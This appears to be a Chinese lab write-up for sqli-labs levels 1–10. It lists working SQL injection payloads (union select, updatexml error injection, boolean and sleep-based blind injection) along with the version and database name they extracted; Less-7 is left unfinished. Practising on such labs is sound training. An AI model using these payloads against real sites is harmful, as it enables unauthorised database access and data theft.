sqli --【1--10】

Less-1(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(字符注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-2(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-3(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-4(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-5(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-6(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-7(读写文件)

1.查看是否有回显

Less-8(布尔盲注)

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

4.计算数据库名字的位数

5.猜测每一位

Less-9(延时注入--1‘)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

Less-10(延时注入--1“)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位


Less-1(联合查询)

1.查看是否有回显

?id=1

image-20230823212812230

2.查看是否有报错

?id=2'

image-20230823212916505

3.使用联合查询(字符注入)

3.1判断其列数
?2' order by 4 --+
判断有3列

image-20230823213657350

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823214024670

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823214321828

Less-2(联合查询)

1.查看是否有回显

?id=1

image-20230823221044476

2.查看是否有报错

?id=2'

image-20230823221201775

3.使用联合查询(数字型注入)

3.1判断其列数
?2' order by 4 --+
判断有3列

image-20230823221627126

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823221652336

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823221720787

Less-3(联合查询)

1.查看是否有回显

?id=1

image-20230823222047496

2.查看是否有报错

?id=2'

image-20230823222133486

3.使用联合查询(数字型注入)

3.1判断其列数
?2') order by 4 --+
判断有3列

image-20230823222242959

3.2 判断显示位置
?id=2') and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222316251

3.3敏感信息查询
?id=2') and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823222352407

Less-4(联合查询)

1.查看是否有回显

?id=1

image-20230823222504478

2.查看是否有报错

?id=2"

image-20230823222756754

3.使用联合查询(数字型注入)

3.1判断其列数
?2") order by 4 --+
判断有3列

image-20230823222852599

3.2 判断显示位置
?id=2") and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222939729

3.3敏感信息查询
?id=2") and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823223015613

Less-5(错误注入)

1.无显示

image-20230823223422750

2.有错误

image-20230823223533204

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823223952605

Less-6(错误注入)

1.无显示

image-20230823224143187

2.有错误

image-20230823224249541

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823224334113

Less-7(读写文件)

1.查看是否有回显

根据 Use outfile判断,此处使用写入文件的方式

image-20230824204519878

2.

Less-8(布尔盲注)

1.没有回显

image-20230823215743763

2.没有报错

image-20230823215938620

3.布尔盲注获取数据库名

?id=2' and database()='ajest' --+
没有显示,成本太高

image-20230823220022235

4.计算数据库名字的位数

?id=2' and length(database())>0 --+
?id=2' and length(database())=8 --+
​
显示八位
​

descript

descript

5.猜测每一位

?id=2' and ascii(substr((select database()),1,1))=115 --+

115 s

101 e

99 c

117 u

114 r

105 i

116 t

121 y

数据库:security

descript

Less-9(延时注入--1‘)

1.没有回显

?id=1

descript

2.没有报错

?id=1'

descript

3.使用延时注入

?id=1' and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

descript

4.分别查看每一位

?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

descript

descript

descript

descript

descript

descript

Less-10(延时注入--1“)

1.没有回显

?id=1

image-20230824223349191

2.没有报错

?id=1"

image-20230824223316986

3.使用延时注入

?id=1" and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

image-20230824223246293

4.分别查看每一位

?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

image-20230824223201619

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值